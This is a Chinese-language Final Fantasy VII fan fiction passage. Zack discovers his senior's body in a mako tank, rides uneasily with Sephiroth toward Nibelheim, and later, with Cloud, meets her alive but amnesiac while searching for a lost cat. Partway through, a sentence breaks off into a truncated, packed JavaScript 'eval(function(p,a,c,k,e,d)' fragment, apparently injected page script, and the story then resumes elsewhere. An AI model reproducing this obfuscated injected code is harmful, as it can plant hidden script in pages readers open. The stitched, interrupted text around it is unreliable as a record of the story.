无数的疑问如同毒蛇般啃噬着他的内心,却没有答案。 “克劳德,”过了许久,扎克斯的声音才再次响起,嘶哑得如同砂纸摩擦,带着一种令人心碎的绝望,“你…你告诉我,那不是真的,对不对?你只是没看清楚,对不对?前辈她那么强,怎么可能……怎么可能就这么……” “我……” 克劳德张了张嘴,最终还是没能说出那句违心的谎言。 他只是无力地靠在墙上。 终端从滑落的手中掉落在床上,发出一声轻微的闷响。 [6] 第三天。 扎克斯来到了神罗的科研部。 在管理“研究资源”的第二楼——独立空间。 他看到了她。 巨大的、圆柱形的培养罐矗立在房间中央,散发着幽幽的、令人不安的翠绿色光芒。那是魔晄的光芒,浓郁得如同粘稠的液体。而就在那片诡异的绿光之中,悬浮着一个纤细的身影。 一席黑色的制服,紧紧包裹着那早已失去生气的躯体。丝缕银白色的长发被半束起,其余散落的如同海藻般在翠绿的液体中缓缓漂浮、舒展,折射着魔晄的光芒,看起来依旧是那样的鲜活、柔软。 但那张脸,隔着厚厚的特制玻璃和粘稠的液体,却呈现出一种令人心悸的苍白。 那双总是闪烁着狡黠、自信、偶尔还有点坏笑的莹绿色眼眸紧紧闭着,再也不会睁开。嘴唇失去了所有血色,微微张着,仿佛定格在某个无声的瞬间。 她就那样安静地悬浮着,像一件被精心保存的标本,一个沉睡在绿色噩梦中的易碎品。 “前辈……” 他不可置信的瞪大了眼睛,将手放在玻璃前,与其相对。 居然是真的…… 扎克斯当时打探到消息的时候,仍然觉得不可置信——前辈的……尸体,会被当作实验资源。 “这……” 不会吧?怎么会同意这样的事。 再怎么样也应该好好安葬…… 萨菲罗斯呢?萨菲罗斯肯定不会同意这样的要求的吧? 但扎克斯也不清楚那位英雄是怎样的一个状态了。 距离那天发生的事情,已经过去了两天,萨菲罗斯都没有再出现过——终端上的信息没有回复,特种兵的活跃区也见不到他的影子。 握紧了拳头,扎克斯咬紧牙,他勉强冷静了下来。 要找到真相…… 至少,要知道为什么。 在换班的护卫到达之前,扎克斯离开了这里。 前辈明明只是去尼布尔海姆找点东西,为什么回来就失控了?为什么会袭击神罗大厦? 为什么萨菲罗斯会……会亲手杀了她? 他不相信。 这其中一定有什么误会,有什么他不知道的隐情。 前辈那么强,那么狡猾,怎么可能轻易就被打败?她可是那个能在五台战场上掀起腥风血雨,连神罗英雄都要侧目的人! 而且,萨菲罗斯呢? 他为什么会允许这种事情发生? 就算前辈失控了,以他的实力,制服她应该不难吧?为什么偏偏要下杀手?之后又为什么会同意科研部把前辈的……遗体当成实验品? 不能就这样算了。 前辈的死,不能不明不白。 他要搞清楚一切。为了前辈,也为了…给自己一个交代。 [7] 第四天。 时隔三天,萨菲罗斯从自己的房间里出来了。 神罗的军用皮卡在荒野上行驶,扬起一路干燥的尘土。车厢内部的空间算不上宽敞,弥漫着一股皮革、机油和淡淡消毒水混合的气味。 萨菲罗斯坐在副驾驶的位置,姿态一如既往地挺拔,目光平视着前方荒凉的景色,那条通往尼布尔海姆的、似乎没有尽头的土路。他穿着整洁的黑色制服,银色的长发一如既往,脸上没有任何多余的表情。 坐在他对角线后排的扎克斯,难得地没有像往常一样活跃。他挺直腰背坐着,双手规矩地放在膝盖上,视线大部分时间落在自己磨得有些发亮的军靴鞋面上。 他时不时会抬起头,目光快速地扫过前方萨菲罗斯的侧影,眉头微不可查地蹙起,然后又迅速低下头,像是在思考什么,又像是在努力压抑着什么。 紧挨着扎克斯的克劳德,则完全是另一番景象。 他戴着那顶几乎遮住大半张脸的制式头盔,身体僵硬地靠着车门。透过头盔的缝隙,只能看到他紧抿的嘴唇和微微泛白的下巴。 家乡就在前方,但他此刻的心情却与“近乡情怯”或是“期待”之类的词语毫不沾边,只有一片沉重的、令人窒息的空白。 没人说话。 沉默像一张无形的网,将车厢里的三个人紧紧包裹。空气仿佛都变得粘稠起来,每一次呼吸都带着沉重的阻力。 打破这份死寂的,偏偏是那个最不可能开口的人。 “克劳德,”萨菲罗斯的声音响起,平稳得没有任何起伏,像是在念诵某个无关紧要的报告,“尼布尔海姆,是你的家乡吗?” 突如其来的问话让克劳德猛地一震,涣散的眼神瞬间聚焦,他下意识地挺直了身体,几乎是条件反射般地回答:“是,对,长官。” 那种与传说中的英雄一同出任务、甚至被偶像亲自询问的激动,本该让他紧张得语无伦次。但此刻,这份激动却被心底那片巨大的阴影彻底吞噬了,只剩下一种麻木的应激反应。 萨菲罗斯没有看他,目光依旧落在前方。 “家乡啊,”他像是对着空气自言自语,声音轻得几乎要被引擎声盖过,“是什么感觉呢?” 他好像真的在思考这个问题,思考了大概十几秒。 然后,没有任何预兆地,他轻轻笑了一下。 那笑声很轻,很短促,甚至带着一丝奇异的飘忽感,像是羽毛拂过水面,留下一圈转瞬即逝的涟漪。 “……” 后排的扎克斯和克劳德都不由自主地绷紧了神经,他们二人僵住了。 “萨菲罗斯,”扎克斯鼓起勇气,身体微微前倾,尽量让自己的声音听起来自然一些,“这次尼布尔海姆的任务…好像挺紧急的?听说魔晄炉的情况不太稳定。” 他试图把话题拉回到任务本身,想看看萨菲罗斯的反应。 “紧急吗?”萨菲罗斯头也没回,依旧看着窗外,语气轻松得像是在讨论天气,“嗯,报告上是这么写的。不过魔晄炉总会有出问题的时候,就像机器偶尔会卡壳一样。不用太担心,小问题而已。” 萨菲罗斯看起来…… 不大对劲。 坐在扎克斯旁边的克劳德身体更加僵硬了,他几乎是把全身的重量都靠在了冰冷的车门上,头盔下的视线死死盯着窗外飞速倒退的荒凉景色,仿佛想把自己彻底隔绝在这个令人窒息的空间之外。 “说起来,尼布尔海姆,”萨菲罗斯仿佛没有察觉到身后两人的异样,他稍微调整了一下坐姿,语气依旧轻松,甚至带上了一丝怀念的意味,“让我想起了很久以前去过的一个类似的小镇,好像是在东大陆边缘?那里的村民也喜欢做一种苹果派,味道还不错。” 他停顿了一下,像是在回忆细节。 “不过那里的苹果好像特别酸,需要加很多糖。不知道尼布尔海姆的苹果怎么样?克劳德,你们村子的苹果甜吗?” 萨菲罗斯自然地将话题抛给了后排的金发少年,语气温和得像是在同一个熟悉的后辈闲聊家常。 克劳德像是被针扎了一下,身体猛地绷直。他隔着头盔,声音有些发闷,带着显而易见的紧张:“呃,我,我不太清楚,长官。村子里的苹果…好像,还可以,不算特别酸。” 他回答得磕磕绊绊,脑子里一片空白。 “是吗?那还不错。” 萨菲罗斯点了点头,仿佛对这个答案很满意,“等任务结束,如果时间充裕,倒是可以尝尝你说的那个老板娘的苹果派。” 他这话听起来像是认真的,好像这次来尼布尔海姆真的只是一次普通的、顺便可以品尝当地特产的出差。 扎克斯再也忍不住了,他深吸一口气,强压下心头的混乱和悲愤,尽量用平稳的语气开口:“萨菲罗斯,关于这次的任务…报告上提到魔晄炉异常,可能与未知的实验体活动有关。您觉得…会是杰内西斯他们吗?” 他小心翼翼地抛出这个问题,试图将话题引向那个无法回避的根源。 萨菲罗斯的目光依旧落在窗外,似乎对荒野的景色更感兴趣。“杰内西斯?有可能。”他回答得漫不经心,“不过也可能是其他什么东西。魔晄炉周边的能量波动总是会吸引一些奇怪的生物,这很常见。” 他顿了顿,转过头,魔晄绿的眼眸第一次真正看向后排的两人,那眼神平静无波,甚至带着一丝淡淡的笑意。 “不过不用担心,扎克斯。无论是什么东西在捣乱,我们都会处理好的。” 他拍了拍扎克斯的肩膀,动作自然,就像以前无数次任务前那样,“你最近进步很大,这次任务正好让你再积累些经验。” “处理好?”扎克斯几乎是脱口而出,声音里带着压抑不住的激动,“怎么处理?像上次那样吗?!前辈她——” “她吗?” 银发男人嘴角的笑意不变。 “别担心扎克斯,我们会找到关于她的真相的。” 仿佛只是一句再平常不过的鼓励。 扎克斯的身体僵住了。 他张了张嘴,想要反驳,但喉咙像是被什么东西堵住,一个字也发不出来。他只能死死地盯着萨菲罗斯那双平静无波的眼睛,试图从中找到一丝熟悉的、属于那个冷静强大英雄的痕迹。 但他什么也没找到。 那里面只有一片空茫的、令人心悸的温和愉悦。 “是…是吗?” 扎克斯好不容易才找回自己的声音,干涩得厉害,他强迫自己移开视线,看向窗外飞速掠过的枯黄色草地,“那,那就好。找到真相,总是好的。” 他说得含糊不清,自己也不知道自己在说什么。 萨菲罗斯对扎克斯这明显言不由衷的回应似乎毫不在意。 “说起来,”他饶有兴致地将目光转向安静的克劳德,“克劳德,尼布尔山上的风景怎么样?报告上说那里是第一座魔晄炉的所在地,视野应该很开阔吧?能看到雪山吗?” 克劳德的身体又是一僵,他几乎是屏住呼吸,才用一种近乎耳语的声音回答:“是,是的,长官。山顶…可以看到很远的雪山,还有…下面的村子。” “哦?听起来不错,”萨菲罗斯满意地点头,像是在规划行程,“那等处理完魔晄炉的事情,我们也许可以去山顶看看风景。扎克斯,你说呢?执行任务之余,适当放松一下,欣赏美景,有助于保持良好的心态。” 扎克斯不知道该说什么,他感觉自己快要窒息了。他猛地转过头,看向窗外,不再看这一切。 车厢内再次陷入了令人窒息的沉默。 只有军用皮卡引擎的轰鸣声,和萨菲罗斯指尖敲击车窗那规律而轻快的“哒哒”声,在荒凉的原野上空回荡。 他们在土路上前进,扬起的尘土在夕阳的余晖中翻滚。 尼布尔海姆,越来越近了。 当皮卡车停下之时,在村子门口,克劳德注意到了那辆神罗制式的摩托车。 第二卷,完。 37. 第34章 克劳德和他的朋友扎克斯回到米德加后,成为了“万能帮手”。 自金发的1st醒来之时,就得知了他们被神罗追杀的消息。 对,他昏迷了很久。 克劳德猜测是因当时与萨菲罗斯对战后留下了很重的伤,是扎克斯一路把他从尼布尔海姆带回米德加。 “不过没关系克劳德!神罗的大部分兵力不在这……我们不会有事的!” 黑发的男人笑着拍了拍他的肩膀,接着,他们打开手机,开始查看新的委托。 他手指飞快地在翻盖手机上操作着,屏幕上显示着各种各样的邮件,从“寻找走失的宠物陆行鸟”到“清理下水道变异老鼠”,再到“护送商人穿过危险区域”,五花八门,报酬也高低不一。 这就是他们现在的营生,“万能帮手”,只要给钱,什么活都接。 “哦嚯!克劳德你看这个!” 扎克斯忽然提高了音量,把手机屏幕凑到旁边安静坐着的金发青年面前,语气夸张,“‘紧急委托:本人心爱的白色短毛猫“雪球”于昨日下午在第五区贫民窟市场走失,雪球胆子很小,但特别贪吃,看到鱼干就会跑出来。提供线索者奖励 500 Gil,找到并送回者奖励 2000 Gil!附猫咪靓照一张!’——啧啧,2000 Gil 找只猫?米德加的有钱人真多啊。” 克劳德只是微微偏头,青色的眼眸扫过屏幕上那张毛茸茸的白色猫咪照片,没有发表任何评论。他身上穿着略显宽大的黑色连帽衫,那是扎克斯给他找来的,他自己的神罗制服大概早就在逃亡路上丢弃或者损毁了。 “还有这个,”扎克斯手指继续滑动,屏幕上的文字快速滚动,“‘第七区围墙出现裂缝,疑似有危险魔物爬入,需要经验丰富的战士前往探查并清除威胁,报酬面议’——这个听起来倒是有点意思,说不定能活动活动筋骨。” “嗯,我去第二个。” 在原地坐着的克劳德开口了,然后,他很快就站起来,一把拿起摆在桌子旁的符文剑。扎克斯张了张嘴,他立马也站起来,掏起旁边的破坏剑。 “呃,克劳德你去……第一个吧,那个报酬其实更高呢!还有,回来的时候顺便可以给我带碗拉面?” 克劳德握着符文剑的手紧了紧,剑柄冰冷的金属触感让他纷乱的思绪稍微安定了一些。他没有立刻回应扎克斯的提议,只是抬起眼,看向对方那张努力挤出轻松笑容的脸。 扎克斯翠色的眼睛里,映着些许担忧和试探,那小心翼翼的样子,克劳德其实能感觉到。 “找猫,太麻烦了。” 克劳德开口,听不出太多情绪,“而且我不擅长应付动物,特别是猫。”他顿了顿,补充道,“魔物比较直接,砍了就行。” 扎克斯挠了挠他那头新留长、有些不羁的黑发,发出一声夸张的叹息:“哎呀,克劳德,你怎么能这么说呢!猫咪多可爱啊!毛茸茸软乎乎的!而且你看,2000 Gil!这报酬可是实打实的,比那个‘报酬面议’靠谱多了!天知道第七区那个裂缝里爬出来的是什么玩意儿,万一是个硬骨头,打半天结果对方只给个几百 Gil,那我们不是亏大了?” 他走近两步,哥俩好地搭上克劳德的肩膀,身体的重量稍微压了过来,带着一股熟悉的、阳光混着汗水的味道。 “再说了,找猫嘛,多轻松!就在第五区市场附近溜达溜达,拿着鱼干晃悠两下,说不定那只叫‘雪球’的小馋猫自己就跑出来了!根本不用打打杀杀,多好!安全第一,安全第一嘛!” “而且,市场那边人多热闹,说不定还能听到什么有趣的消息呢!我们现在可是‘万能帮手’,情报也很重要的!” 克劳德感受着肩膀上传来的重量和温度,没有立刻挣开。扎克斯的话似乎也有几分道理,至少在报酬方面,找猫的任务确实更明确。 而且,他也确实不想让扎克斯担心。 “好吧,”他最终还是松口了,微微侧过头,避开了扎克斯过于热切的目光,“那我去第五区。不过,拉面你自己去买,我可能会直接回来。” “欸?别啊!”扎克斯立刻哀嚎起来,搭在他肩膀上的手加重了力道,摇晃着他,“克劳德,好兄弟!帮帮忙嘛!你知道我这边任务结束了可能就赶不上绝味拉面关门了!那可是我今天的精神食粮!加双份叉烧的那种!拜托拜托!” 他双手合十,做出一个恳求的姿势,配上他那张故作可怜的脸,很难让人拒绝。 克劳德看着他这副耍宝的样子,低低的嗯了一声。他轻轻挣开扎克斯的手臂,将符文剑背回身后。 “知道了。” 他简短地回答,算是答应了买拉面的请求。 “哦耶!克劳德你最好了!” 扎克斯立刻欢呼起来,兴奋地原地蹦跶了一下,然后迅速拿起靠在墙边的破坏剑,那巨大的剑身在他手中却显得毫不费力。 “那咱们就这么定了!我这就去第七区看看是什么妖魔鬼怪敢在米德加撒野!你去找那只叫‘雪球’的富贵猫,记住啊,要温柔一点,别把猫吓跑了!” 扎克斯说着,走到门口,推开了那扇略显陈旧的木门,午后有些刺眼的阳光立刻涌了进来,照亮了房间里的灰尘。 “任务完成,老地方见!” 他回头对克劳德灿烂一笑,露出一口白牙,然后大步流星地冲了出去,背影很快消失在狭窄的巷道里。 克劳德站在原地,看着阳光在地板上投下的光斑,以及空气中飞舞的微尘。房间里只剩下他一个人,扎克斯离开后,那份短暂的热闹迅速褪去,空气又变得安静下来。 他拿起桌上的翻盖手机,再次看了一眼那个找猫的委托,确认了猫咪的照片和走失地点——第五区贫民窟市场。 然后,他将手机揣回口袋,整理了一下身上的黑色便服,也走向了门口。 第五区市场吗? 他记得那里总是人声鼎沸,各种气味混杂,是一个充满生机但也混乱的地方。找一只胆小的白色短毛猫,听起来确实比对付未知的魔物要…轻松一些。 或许吧。 他拉开门,迈步走入米德加那永远笼罩在钢铁穹顶下的、有些压抑的日光中。 第一步,先购买一些小鱼干。 这样的东西应该在附近的宠物店里有卖。 出于往日的任务习惯,克劳德拉上了黑色连帽衫的兜帽,盖住了那头稍稍炸起的金毛,同时戴上遮住下半张脸的面罩。 这样的装束,配上那把高大的大剑,有些惹人生疑,甚至让人会有些害怕。 但无所谓。 他本身就不大想交际,只是想快些完成任务。 第五区。 周围是林立的、用废旧金属和各种材料拼凑起来的简易房屋,墙壁上涂满了意义不明的涂鸦。头顶是纵横交错、锈迹斑斑的管道和线缆,偶尔有水滴落下,溅在地面浑浊的水洼里。路边的小贩扯着嗓子叫卖着各种稀奇古怪的东西,推着手推车的工人费力地挤过人群,几个衣衫褴褛的小孩追逐打闹着从他身边跑过,差点撞到他身上。 克劳德目不斜视,脚步没有丝毫停顿,仿佛周围的一切喧嚣与他无关。 他那身与环境格格不入的装束,以及背后那把醒目的巨剑,引来了不少好奇或警惕的目光,但他毫不在意。他的目标很明确——找到一家宠物店,购买任务所需的“诱饵”。 根据脑海中模糊的记忆和路边歪斜的路牌指示,他拐进了一条相对安静些的街道。这里的店铺看起来稍微整齐一些,虽然依旧带着贫民窟特有的破旧感。 很快,一个挂着画着可爱陆行鸟幼崽图案招牌的小店出现在眼前。招牌有些褪色,但“咕波宠物乐园”几个字还算清晰。 克劳德在店门口停顿了一下,透过蒙着灰尘的玻璃窗往里看。店面不大,光线有些昏暗,里面堆满了各种宠物用品——食盆、牵引绳、磨爪板,还有几个装着颜色奇异小鱼的鱼缸,正咕噜咕噜地冒着气泡。一个系着围裙、身材微胖的中年女人正坐在柜台后面,低头打着瞌睡。 他推开吱呀作响的木门走了进去。门上的铃铛发出清脆的响声,惊醒了打瞌睡的女店主。 “啊,欢迎光…临…” 女店主揉了揉眼睛,看到克劳德的瞬间,声音明显顿了一下,眼神里闪过一丝惊讶和不易察觉的紧张。 毕竟,一个戴着兜帽面罩、背着巨剑的男人出现在她的宠物小店里,怎么看都不像是来买宠物粮的普通顾客。 “你好,”克劳德的声音隔着面罩,显得有些沉闷,“买鱼干。”他言简意赅,目光快速扫过货架,寻找目标。 “鱼、鱼干?” 女店主愣了一下,随即反应过来,脸上挤出一个有些勉强的笑容,“哦哦,有的有的!我们这儿有给猫咪吃的鳕鱼干,还有给狗狗磨牙的沙丁鱼干,您要哪种?给…给您家的宠物买吗?” 她小心翼翼地打量着克劳德,试图从他严密的遮挡下看出点什么。 克劳德没回答她的问题,只是指了指货架上一个印着猫咪头像的包装袋。“那个,鳕鱼的。” “好的好的!” 女店主连忙从柜台后走出来,动作有些笨拙地从货架上取下那袋鱼干,“这个鳕鱼干很新鲜的,我们家附近的猫咪都特别喜欢吃!营养也好!您要几包?” “一包。” “好嘞!一包鳕鱼干,”女店主拿着鱼干回到柜台,快速地算着价格,“一共是…80 Gil。” 克劳德从兜里摸出几枚硬币,放在有些油腻的柜台上,发出轻微的碰撞声。他数出恰好的金额,推了过去。 女店主收了钱,将鱼干递给他,脸上依旧带着那种混合着好奇和些微不安的笑容。“谢谢惠顾!欢迎下次再来啊!” 克劳德接过鱼干,触手是塑料包装的粗糙感。他没有回应店主的客套话,只是点了点头,转身就走。 沉重的木门再次吱呀作响,门上的铃铛又响了一声。克劳德重新回到街道上,将那包装简陋的鱼干塞进口袋里。 第二步,找猫。 第五区贫民窟的市场很混乱,精心饲养的家猫应该不会去人多的中心地方——危险又混乱。 猫咪大概会藏在小巷子里。 拐进第一条小巷,光线骤然变暗,空气也变得更加浑浊,带着一股下水道反涌上来的潮湿霉味,混合着腐烂垃圾的酸臭。 巷子很窄,两侧是高耸的、用各种废料拼凑起来的临时建筑,墙壁上布满了水渍和青苔。 克劳德停下脚步,从口袋里拿出那包鳕鱼干。撕开包装袋,一股浓郁的鱼腥味立刻散发出来,在这狭窄的空间里显得格外刺鼻。 他拿出几片干瘪的、颜色暗淡的鱼干,掂量了一下,然后蹲下身,将鱼干放在了巷口一个稍微干净些的角落石阶上。 他没有立刻离开,而是退后几步,靠在冰冷潮湿的墙壁上,半隐在阴影里,耐心地等待着。 兜帽的边缘几乎遮住了他的眼睛,只留下一道狭窄的缝隙观察着周围的动静。 时间一点点过去,除了偶尔有水滴从头顶的管道滴落,发出单调的“滴答”声,巷子里一片死寂。那几片鱼干静静地躺在石阶上,散发着诱人的气味,却没有任何生物被吸引过来。 忽然,巷子深处传来一阵窸窸窣窣的轻微响动,像是有什么小东西在垃圾堆里翻找。克劳德的眼神立刻锐利起来,身体下意识地绷紧,手指习惯性地摸向了背后的剑柄,但很快又松开了。 是猫吗? 一个瘦小的、毛色肮脏的黑影从垃圾桶后面探出头来,警惕地看了看四周,然后小心翼翼地朝着鱼干的方向挪动过来。那是一只骨瘦如柴的流浪猫,皮毛打结,一只耳朵缺了一角,眼神里充满了对陌生环境的戒备。 它闻到了鱼干的香味,喉咙里发出低低的呜咽声,但又不敢贸然靠近克劳德所在的位置。它在原地犹豫了许久,最终还是抵挡不住食物的诱惑,快速地冲过去,叼起一片鱼干,然后像一阵风似的,头也不回地消失在巷子更深的黑暗里。 克劳德看着那只流浪猫消失的方向,没有动作。他的目标是白色的短毛猫“雪球”,不是这只可怜的流浪者。 他弯腰,又在石阶上放了几片鱼干。 他换了一条巷子,重复着同样的动作。这条巷子比前一条稍微宽敞些,光线也略好一点,可以看到一些人家在二楼晾晒着颜色灰暗的衣物。 这一次,鱼干很快吸引来了“顾客”。 不是猫,而是两个衣衫褴褛、脸上脏兮兮的小孩。 他们看到石阶上的鱼干,眼睛立刻亮了起来,互相推搡着跑过来,动作飞快地将鱼干抢光,然后一边塞进嘴里,一边好奇地打量着角落里那个戴着兜帽、背着大剑的怪人。 克劳德依旧靠在墙边,没有理会那两个小孩。 贫民窟的孩子总是早熟而警惕,他们打量了他几眼,没敢靠近,很快就嬉笑着跑开了,嘴里还嚼着抢来的鱼干。 他叹了口气,感觉这任务比想象中要…磨人一些。鱼干快要用完了。 克劳德决定深入市场边缘地带,那里的摊位稍微稀疏一些,但依旧人来人往。他选择了一个堆放着废弃木箱和破旧篷布的角落,这里相对隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的脚步放得很轻,呼吸也刻意放缓,感官却提升到了极致。 帽檐下的青色眼眸锐利地扫视着四周。这条巷子比之前的更加狭窄、更加脏乱。两侧的墙壁像是打满了补丁,锈蚀的铁皮、腐朽的木板、破裂的水泥块胡乱堆砌在一起,墙角堆满了黑色的垃圾袋,有些已经破裂,流出颜色可疑的污秽液体。 啪嗒。 不断有冰冷的水珠滴落,砸在他的兜帽上。 地面上,那股血腥味的来源变得清晰起来。一道断断续续的、暗红色的痕迹蜿蜒着向前延伸,在污浊的地面上格外醒目。血迹很新鲜,边缘还没有完全凝固,甚至带着一丝微弱的温热感。 啪嗒。 又是一滴水。 “……” 克劳德猛地单手抡起大剑,格挡住了从侧面劈击过来的刀口。 金属与金属相碰,清脆的响声。 那股浓郁到几近盖过所有感官的血腥气就是从对方身上传出来的,也带着黑色的兜帽和面罩,看起来更像是某种特质的材质。 不过,什么材质都不重要了。 凝固的血斑,仍然在裤腿往下滴下的血点,大片的暗红色覆盖在对方身上。 克劳德毫不犹豫地向上挑,对方顺着他的动作后退一步,空中,他看见了那抹一闪而过的色彩。 深绿的,非人的魔晄眸子。些许银白的发丝从布料的间隙中透出。 “……” ……不。 这…… 跟萨菲罗斯有关的人? 即使只是惊鸿一瞥,那独特的色泽也深深烙印在克劳德的视网膜上。 “你是谁?” “你谁啊。” 两道声音同时响起,一个是克劳德自己的喝问,一个是随意的,带着点烦躁的女声。 于此同时,还有一声微弱的猫叫,那只白猫从角落跳出来,搭在对方的肩膀上,女人耸了耸肩膀。 “蠢猫,现在赶紧走,等下我再喂你。” 那只名叫“雪球”的白色短毛猫显然很听它临时“主人”的话,又或者被巷子里浓郁的血腥味和刚才兵刃相接的动静吓坏了。 女子话音刚落,它就从她肩头轻盈地跳下,喉咙里发出一声细微的呜咽,然后头也不回地蹿进了更深、更黑暗的杂物堆里,瞬间不见了踪影。 “你身上的血是怎么回事?”克劳德没有放松警惕,他的声音依旧低沉,透过面罩传出来有些失真,“还有这只猫。” “有人追捕我,处理掉了。至于猫……你管我?” 对方往前走了一小步,迫使克劳德必须做出反应——要么让开,要么继续阻拦。“我还有事,没工夫跟你在这里耗着。” “让开。” 她的声音带着命令的口吻,即使听起来有些飘忽,那股子傲慢劲儿却丝毫未减。 克劳德没有让开。 符文剑依旧横在身前,形成一道无形的屏障。他能感觉到对方身上散发出的那种危险气息,混合着血腥味,绝非善类。更何况,那双魔晄眼和银发…这些特征太过特殊,让他无法轻易放过。 “米德加最近不太平,”克劳德的声音依旧低沉,听不出情绪,“你来历不明,身上又有血迹,我有权对你进行盘问。” 他搬出了神罗士兵常用的套话,尽管他现在严格来说并不属于神罗,但那份刻在骨子里的认知还在发挥作用。 “摘下你的面罩和兜帽,报上身份。” “哈?” 她好像听到了什么天大的笑话,歪了歪头,兜帽也跟着歪向一边,银白的发丝稍稍翘起,“盘问我?就凭你?” 当扎克斯回到出租屋的时候,嗅到了浓郁的血腥味。 “……” 被追捕的本能和战斗本能瞬间激发,黑发男人将手中的杂货顺手放在门边,手已经掏向了背后的破坏剑。 “喵——!” 一声猫叫。 与此同时,一个白色的小身影从房间里窜了出来,扎克斯在观察到那是一只猫后,本能的抱住。 “陆行鸟你连给猫洗澡都不会?!” “我不是陆行鸟……还有,是你太用力了。” “明明就是你拖后腿!” 一个银色的影子和克劳德一齐从里面的浴室走了出来,骂骂咧咧的,然后转过头,与他对视。 “……” 扎克斯手里的破坏剑掉到了地上。 38. 第35章 我醒来的时候,发现自己在一罐绿色的不明液体里。 而且,我不知道我是谁。 真好,传说中的失忆剧本给我中了,虽然我不知道什么是失忆。 我爬出来之后杀了很多追捕我的人,接着一路乱走,来到了我也不知道的地方,睡着睡着觉发现怀里多了只蠢猫。 它缠上了我。 然后,露宿在外的我多了只跟班。 嗯,接着出现了一只疑似cos我的金毛陆行鸟,不过是玩大剑的。跟他打着打着,我们发现猫不见了,就一起去找猫。 总而言之,因为这只猫是我的(?),于是我和猫一起跟他走了。 事情稍微概括起来是这样。 那么谁能解释一下,眼前这个黑毛的人为什么死死的抱着我不放? 他身上穿着和旁边那只金毛陆行鸟类似的黑色便服,但款式更随意些。他怀里还抱着那只蠢猫,白色的毛蹭在他黑色的衣服上格外显眼。 “喂!” 我皱起眉头,感觉很不爽。 被人这样突然抱住,尤其是一个完全不认识的家伙,这让我非常不舒服。我抬起手肘,毫不客气地顶向他的胸口,试图把他推开,“你干什么?快松手!” 我的力气不小,但这家伙抱得实在太紧了,像一块黏皮糖,根本甩不掉。 他非但没松手,反而抱得更紧了,脑袋埋在我的颈窝里,发出几声压抑的、意义不明的呜咽。 “太好了,太好了…”他的声音闷闷地传来,带着浓重的鼻音和无法抑制的狂喜,听起来有点像哭腔,“前辈你没事…你真的没事!我还以为…我还以为再也见不到你了!” 谁是你前辈了?我才醒来一个星期不到。 “我根本不认识你!”我加大力气推他,终于在他胸口制造出一点空隙,得以稍微喘口气,“你认错人了吧?赶紧放开!不然别怪我不客气了!” 刀柄的形状自我手中浮现而出。 我现在有个特别厉害的能力,可以凭空变出刀。 “认错?怎么可能认错!” 黑发男人猛地抬起头,一张沾着些许灰尘、却依旧难掩英气的脸上,那双浅青的眼睛亮得惊人,里面盛满了狂喜、难以置信,还有一丝后怕的泪光。 他仔仔细细地看着我的脸,像是要确认什么,“这头发,这眼睛,这脸…不会错的!绝对不会错!就是你啊,前辈!!” 旁边那只金毛陆行鸟都要呆掉了。 “扎克斯?”克劳德终于开口,声音有些迟疑,“你…认识她?” 一个小时后,我们坐在出租屋里的餐桌上吃拉面。 面前的黑毛一直在给我夹肉。 嗯,他叫扎克斯。 据他所说,我们之前是关系很好的朋友,但是因为我受了重伤,所以暂时失忆了。至于证明…… 证明在刚刚我被取掉的那根黑色发绳上。 但是名为克劳德的陆行鸟并不认识我,他问了扎克斯很多东西。 “她之前也是特种兵?我没有见过……这种特征……” “她是不是跟他有关?” “扎克斯,你确定她是1st里的前辈?” 黑发的男人很明显不会撒谎。 “是特种兵!呃……只是偶然长得像!” “没有关系,怎么会跟萨……” “对!只是之前前辈执行的是很机密的任务。呃,所以你跟她……没有见过。” 他简直就要把“我说的话有问题”写在脸上了,连我这个失忆的都听得出来。 但不知为什么,克劳德没有再多问。 不过这些跟我都没有一点关系。 我有面吃。 本身我是打算打劫他们的。 “……” “前辈!这个叉烧是特制的,你尝尝!” 他殷勤地推荐着,语气里的兴奋劲儿丝毫未减。 “还有这个笋干!脆脆的,很爽口!”又一筷子笋干落入我的碗里。 “汤也要多喝点!补充体力!前辈你肯定饿坏了!” 我埋头苦吃。 扎克斯还一直看着我,那眼神依旧黏在我身上,好像生怕我下一秒就会消失不见。 坐在他旁边的金发男人,克劳德,则安静得多。 他低着头,默默地吃着自己的那份面,速度不快不慢。只是我偶尔抬眼时,会捕捉到他透过帽檐阴影投来的、带着探究和困惑的目光。 装什么呢?在家里还带着个兜帽。 再次评价一下克劳德在外面的衣装,这种带面罩+兜帽的制服设定真是太装了。 我很快就把一大碗面连汤带水吃了个精光,甚至还意犹未尽地舔了舔嘴唇。 嗯,味道尚可。 比我在野外抓的变异蜥蜴好吃多了。 “嗝。”我打了个满足的饱嗝,随手将空碗往前一推,发出一声轻响。“还不错。比外面的猫粮好吃多了。” “猫、猫粮?” 扎克斯愣了一下,随即像是想到了什么,脸上露出紧张的神色,“前、前辈,你失忆这段时间,都吃了些什么啊?有没有好好照顾自己?是不是遇到什么危险了?” “危险?” 我挑了挑眉,想起之前被一群穿制服的家伙追杀的场景,“算是吧。不过他们都被我解决了。至于吃的…找到什么吃什么呗。” 除了人和宠物,米德加下层的活物我这一周应该都吃过。 具体的就不说了。 “什、什么?!前辈你一个人在外面太危险了!” 扎克斯的音量又提了起来,一脸的担忧,“不行不行!从现在开始,你必须跟我待在一起!我来照顾你!保证让你吃好喝好,再也不会饿肚子了!” 他拍着胸脯保证,语气斩钉截铁。 “跟你待在一起?”我瞥了他一眼,“你很吵欸。” “呃…” 扎克斯被我噎了一下,但立刻重整旗鼓,“吵、吵点有人气嘛!总比前辈你一个人孤零零的好!对不对克劳德?” 他试图寻求挚友的支持,看向旁边的金发男人。 克劳德抬起头,看了看扎克斯,又看了看我,最终只是轻轻点了点头,没有说话。 “你看!克劳德也同意!” 扎克斯立刻抓住机会,“前辈,你就安心住下吧!这里很安全的!我会保护好你的!” 我无所谓地耸耸肩。 “住哪都行,有吃的就行。” 反正我现在也没地方去,跟着这两个家伙,至少不用自己动手找吃的了。 顺手答应后,我拿起桌子上那个刚刚被我取下的黑色发绳。 银色金属片在灯光下闪烁着微弱的光泽。 【Zack for ——】 “你应该去洗个澡。” 克劳德放下碗后,平静的提示。 我闻言,动作顿了一下,抬眼看向他。 “我洗不洗澡关你什么事?” 